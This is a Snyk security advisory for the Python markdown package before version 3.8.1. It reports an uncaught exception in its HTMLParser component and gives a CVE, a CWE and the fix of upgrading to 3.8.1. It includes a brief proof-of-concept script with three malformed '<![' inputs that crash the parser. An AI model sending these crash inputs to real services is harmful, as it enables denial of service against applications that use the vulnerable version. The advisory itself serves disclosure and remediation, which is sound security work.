Uncaught Exception Affecting markdown package, versions [,3.8.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncaught Exception vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MARKDOWN-15428352
  • published6 Mar 2026
  • disclosed5 Mar 2026
  • creditKeshav Goyal

Introduced: 5 Mar 2026

NewCVE-2025-69534  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

Upgrade markdown to version 3.8.1 or higher.

Overview

Affected versions of this package are vulnerable to Uncaught Exception via the HTMLParser component. An attacker can cause application crashes or potentially disclose information by submitting specially crafted, malformed HTML-like sequences in Markdown input.

PoC

import markdown

print(markdown.__version__)

crash_inputs = [
    "<![",
    "<![>og))/uw_     f{tv+pAr$Ss+[6;^{=<:>g2oV|.pdTMu(Q-E#",
    "<![ g'\"7z5r7cojSO;2LAo0(1Vv5G>,-P",
]

for i, crash_input in enumerate(crash_inputs, 1):
    print(f"\nTesting crash input #{i}:\n{repr(crash_input)}")
    try:
        output = markdown.markdown(crash_input, extensions=["extra"])
        print("No crash, output:")
        print(output)
    except Exception as e:
        print(f"Crash confirmed! Exception:\n{e}")

CVSS Base Scores

version 4.0
version 3.1